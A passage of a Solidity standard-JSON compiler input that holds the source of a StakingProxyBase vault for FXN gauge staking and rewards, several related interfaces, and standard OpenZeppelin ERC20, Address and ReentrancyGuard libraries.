"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n// solhint-disable func-name-mixedcase\ninterface IFxnTokenMinter {\n function token() external view returns (address);\n\n function controller() external view returns (address);\n\n function minted(address user, address gauge) external view returns (uint256);\n\n function mint(address gauge_addr) external;\n\n function mint_many(address[8] memory gauges) external;\n\n function mint_for(address gauge, address _for) external;\n\n function toggle_approve_mint(address _user) external;\n}"
},
"/contracts/interfaces/IFxnGauge.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxnGauge{\n\n //basics\n function stakingToken() external view returns(address);\n function totalSupply() external view returns(uint256);\n function workingSupply() external view returns(uint256);\n function workingBalanceOf(address _account) external view returns(uint256);\n function deposit(uint256 _amount) external;\n function deposit(uint256 _amount, address _receiver) external;\n function withdraw(uint256 _amount) external;\n function withdraw(uint256 _amount, address _receiver) external;\n function user_checkpoint(address _account) external returns (bool);\n function balanceOf(address _account) external view returns(uint256);\n function integrate_fraction(address account) external view returns (uint256);\n function baseToken() external view returns(address);\n function asset() external view returns(address);\n function market() external view returns(address);\n\n //weight sharing\n function toggleVoteSharing(address _staker) external;\n function acceptSharedVote(address _newOwner) external;\n function rejectSharedVote() external;\n function getStakerVoteOwner(address _account) external view returns (address);\n function numAcceptedStakers(address _account) external view returns (uint256);\n function sharedBalanceOf(address _account) external view returns (uint256);\n function veProxy() external view returns(address);\n\n //rewards\n function rewardData(address _token) external view returns(uint96 queued, uint80 rate, uint40 lastUpdate, uint40 finishAt);\n function getActiveRewardTokens() external view returns (address[] memory _rewardTokens);\n function rewardReceiver(address account) external view returns (address);\n function setRewardReceiver(address _newReceiver) external;\n function claim() external;\n function claim(address account) external;\n function claim(address account, address receiver) external;\n function getBoostRatio(address _account) external view returns (uint256);\n function depositReward(address _token, uint256 _amount) external;\n function voteOwnerBalances(address _account) external view returns(uint112 product, uint104 amount, uint40 updateAt);\n}\n"
},
"/contracts/interfaces/IFxUsd.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxUsd{\n\n function wrap(\n address _baseToken,\n uint256 _amount,\n address _receiver\n ) external;\n\n function wrapFrom(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mint(\n address _baseToken,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n\n function earn(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mintAndEarn(\n address _pool,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n function hasRole(bytes32 role, address account) external view returns (bool);\n}\n"
},
"/contracts/interfaces/IFxFacetV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxFacetV2{\n\n struct ConvertOutParams {\n address converter;\n uint256 minOut;\n uint256[] routes;\n }\n\n function fxRebalancePoolWithdraw(address _pool, uint256 _amountIn) external payable returns (uint256 _amountOut);\n function fxRebalancePoolWithdrawAs(\n ConvertOutParams memory _params,\n address _pool,\n uint256 _amountIn\n ) external payable returns (uint256 _amountOut);\n}\n"
},
"/contracts/interfaces/IFeeRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IFeeRegistry{\n function cvxfxnIncentive() external view returns(uint256);\n function cvxIncentive() external view returns(uint256);\n function platformIncentive() external view returns(uint256);\n function totalFees() external view returns(uint256);\n function maxFees() external view returns(uint256);\n function feeDeposit() external view returns(address);\n function getFeeDepositor(address _from) external view returns(address);\n}"
},
"/contracts/boosting/StakingProxyBase.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"../interfaces/IProxyVault.sol\";\nimport \"../interfaces/IFeeRegistry.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxnTokenMinter.sol\";\nimport \"../interfaces/IRewards.sol\";\nimport \"../interfaces/IPoolRegistry.sol\";\nimport '@openzeppelin/contracts/token/ERC20/IERC20.sol';\nimport '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';\n\n/*\nBase class for vaults\n\n*/\ncontract StakingProxyBase is IProxyVault{\n using SafeERC20 for IERC20;\n\n address public constant fxn = address(0x365AccFCa291e7D3914637ABf1F7635dB165Bb09);\n address public constant vefxnProxy = address(0xd11a4Ee017cA0BECA8FA45fF2abFe9C6267b7881);\n address public immutable feeRegistry;\n address public immutable poolRegistry;\n address public immutable fxnMinter;\n\n address public owner; //owner of the vault\n address public gaugeAddress; //gauge contract\n address public stakingToken; //staking token\n address public rewards; //extra rewards on convex\n address public usingProxy; //address of proxy being used\n uint256 public pid;\n\n uint256 public constant FEE_DENOMINATOR = 10000;\n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter){\n poolRegistry = _poolRegistry;\n feeRegistry = _feeRegistry;\n fxnMinter = _fxnminter;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"!auth\");\n _;\n }\n\n modifier onlyAdmin() {\n require(vefxnProxy == msg.sender, \"!auth_admin\");\n _;\n }\n\n //vault type\n function vaultType() external virtual pure returns(VaultType){\n return VaultType.Erc20Basic;\n }\n\n //vault version\n function vaultVersion() external virtual pure returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public virtual{\n require(owner == address(0),\"already init\");\n owner = _owner;\n pid = _pid;\n\n //get pool info\n (,gaugeAddress, stakingToken, rewards,) = IPoolRegistry(poolRegistry).poolInfo(_pid);\n }\n\n //set what veFXN proxy this vault is using\n function setVeFXNProxy(address _proxy) external virtual onlyAdmin{\n //set the vefxn proxy\n _setVeFXNProxy(_proxy);\n }\n\n //set veFXN proxy the vault is using. call acceptSharedVote to start sharing vefxn proxy's boost\n function _setVeFXNProxy(address _proxyAddress) internal{\n //set proxy address on staking contract\n IFxnGauge(gaugeAddress).acceptSharedVote(_proxyAddress);\n if(_proxyAddress == vefxnProxy){\n //reset back to address 0 to default to convex's proxy, dont write if not needed.\n if(usingProxy != address(0)){\n usingProxy = address(0);\n }\n }else{\n //write non-default proxy address\n usingProxy = _proxyAddress;\n }\n }\n\n //get rewards and earned are type specific. extend in child class\n function getReward() external virtual{}\n function getReward(bool _claim) external virtual{}\n function getReward(bool _claim, address[] calldata _rewardTokenList) external virtual{}\n function earned() external virtual returns (address[] memory token_addresses, uint256[] memory total_earned){}\n\n\n //checkpoint and add/remove weight to convex rewards contract\n function _checkpointRewards() internal{\n //if rewards are active, checkpoint\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //get user balance from the gauge\n uint256 userLiq = IFxnGauge(gaugeAddress).balanceOf(address(this));\n //get current balance of reward contract\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n if(userLiq >= bal){\n //add the difference to reward contract\n IRewards(_rewards).deposit(owner, userLiq - bal);\n }else{\n //remove the difference from the reward contract\n IRewards(_rewards).withdraw(owner, bal - userLiq);\n }\n }\n }\n\n //apply fees to fxn and send remaining to owner\n function _processFxn() internal{\n\n //get fee rate from fee registry (only need to know total, let deposit contract disperse itself)\n uint256 totalFees = IFeeRegistry(feeRegistry).totalFees();\n\n //send fxn fees to fee deposit\n uint256 fxnBalance = IERC20(fxn).balanceOf(address(this));\n uint256 sendAmount = fxnBalance * totalFees / FEE_DENOMINATOR;\n if(sendAmount > 0){\n //get deposit address for given proxy (address 0 will be handled by fee registry to return default convex proxy)\n IERC20(fxn).transfer(IFeeRegistry(feeRegistry).getFeeDepositor(usingProxy), sendAmount);\n }\n\n //transfer remaining fxn to owner\n sendAmount = IERC20(fxn).balanceOf(address(this));\n if(sendAmount > 0){\n IERC20(fxn).transfer(owner, sendAmount);\n }\n }\n\n //get extra rewards (convex side)\n function _processExtraRewards() internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getReward(owner);\n }\n }\n\n //get extra rewards (convex side) with a filter list\n function _processExtraRewardsFilter(address[] calldata _tokens) internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getRewardFilter(owner,_tokens);\n }\n }\n\n //transfer other reward tokens besides fxn(which needs to have fees applied)\n //also block gauge tokens from being transfered out\n function _transferTokens(address[] memory _tokens) internal{\n //transfer all tokens\n for(uint256 i = 0; i < _tokens.length; i++){\n //dont allow fxn (need to take fee)\n //dont allow gauge token transfer\n if(_tokens[i] != fxn && _tokens[i] != gaugeAddress){\n uint256 bal = IERC20(_tokens[i]).balanceOf(address(this));\n if(bal > 0){\n IERC20(_tokens[i]).safeTransfer(owner, bal);\n }\n }\n }\n }\n\n function _checkExecutable(address _address) internal virtual{\n require(_address != fxn && _address != stakingToken && _address != rewards, \"!invalid target\");\n }\n\n //allow arbitrary calls. some function signatures and targets are blocked\n function execute(\n address _to,\n uint256 _value,\n bytes calldata _data\n ) external onlyOwner returns (bool, bytes memory) {\n //fully block fxn, staking token(lp etc), and rewards\n _checkExecutable(_to);\n\n //only calls to staking(gauge) address if pool is shutdown\n if(_to == gaugeAddress){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n\n (bool success, bytes memory result) = _to.call{value:_value}(_data);\n require(success, \"!success\");\n return (success, result);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * ==== Security Considerations\n *\n * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature\n * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be\n * considered as an intention to spend the allowance in any specific way. The second is that because permits have\n * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should\n * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be\n * generally recommended is:\n *\n * ```solidity\n * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {\n * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}\n * doThing(..., value);\n * }\n *\n * function doThing(..., uint256 value) public {\n * token.safeTransferFrom(msg.sender, address(this), value);\n * ...\n * }\n * ```\n *\n * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of\n * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also\n * {SafeERC20-safeTransferFrom}).\n *\n * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so\n * contracts should have entry points that don't rely on permit.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n *\n * CAUTION: See Security Considerations above.\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/security/ReentrancyGuard.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "london",
